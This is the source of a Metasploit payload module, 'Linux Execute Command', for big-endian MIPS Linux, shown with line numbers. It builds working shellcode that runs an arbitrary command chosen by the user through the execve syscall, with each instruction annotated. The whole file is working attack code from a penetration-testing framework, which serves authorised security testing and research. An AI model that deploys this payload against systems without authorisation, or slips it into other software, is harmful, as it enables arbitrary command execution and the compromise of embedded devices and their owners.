Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
# -*- coding: binary -*-
2

3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7

8
module MetasploitModule
9

10
  CachedSize = 52
11

12
  include Msf::Payload::Single
13
  include Msf::Payload::Linux
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Linux Execute Command',
18
      'Description'   => %q{
19
                A very small shellcode for executing commands.
20
                This module is sometimes helpful for testing purposes.
21
         },
22
      'Author'        =>
23
        [
24
          'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload
25
          '[email protected]'  #original payload
26
        ],
27
      'References'    =>
28
        [
29
          ['EDB', '17940']
30
        ],
31
      'License'       => MSF_LICENSE,
32
      'Platform'      => 'linux',
33
      'Arch'          => ARCH_MIPSBE,
34
      'Payload'       =>
35
        {
36
          'Offsets' => {} ,
37
          'Payload' => ''
38
        })
39
    )
40
    register_options(
41
      [
42
        OptString.new('CMD', [ true, "The command string to execute" ]),
43
      ])
44
  end
45

46
  #
47
  # Returns the command string to use for execution
48
  #
49
  def command_string
50
    return datastore['CMD'] || ''
51
  end
52

53
  def generate(_opts = {})
54

55
    shellcode =
56
      "\x24\x06\x06\x66" + #li a2,1638
57
      "\x04\xd0\xff\xff" + #bltzal a2,4100b4
58
      "\x28\x06\xff\xff" + #slti a2,zero,-1
59
      "\x27\xbd\xff\xe0" + #addiu sp,sp,-32
60
      "\x27\xe4\x10\x01" + #addiu a0,ra,4097
61
      "\x24\x84\xf0\x1f" + #addiu a0,a0,-4065
62
      "\xaf\xa4\xff\xe8" + #sw a0,-24(sp)
63
      "\xaf\xa0\xff\xec" + #sw zero,-20(sp)
64
      "\x27\xa5\xff\xe8" + #addiu a1,sp,-24
65
      "\x24\x02\x0f\xab" + #li v0,4011
66
      "\x01\x01\x01\x0c"   #syscall 0x40404
67

68
    #
69
    # Constructs the payload
70
    #
71

72
    shellcode = shellcode + command_string + "\x00"
73

74
    # we need to align our shellcode to 4 bytes
75
    while shellcode.bytesize%4 != 0
76
      shellcode = shellcode + "\x00"
77
    end
78

79
    return super + shellcode
80

81
  end
82
end
83

84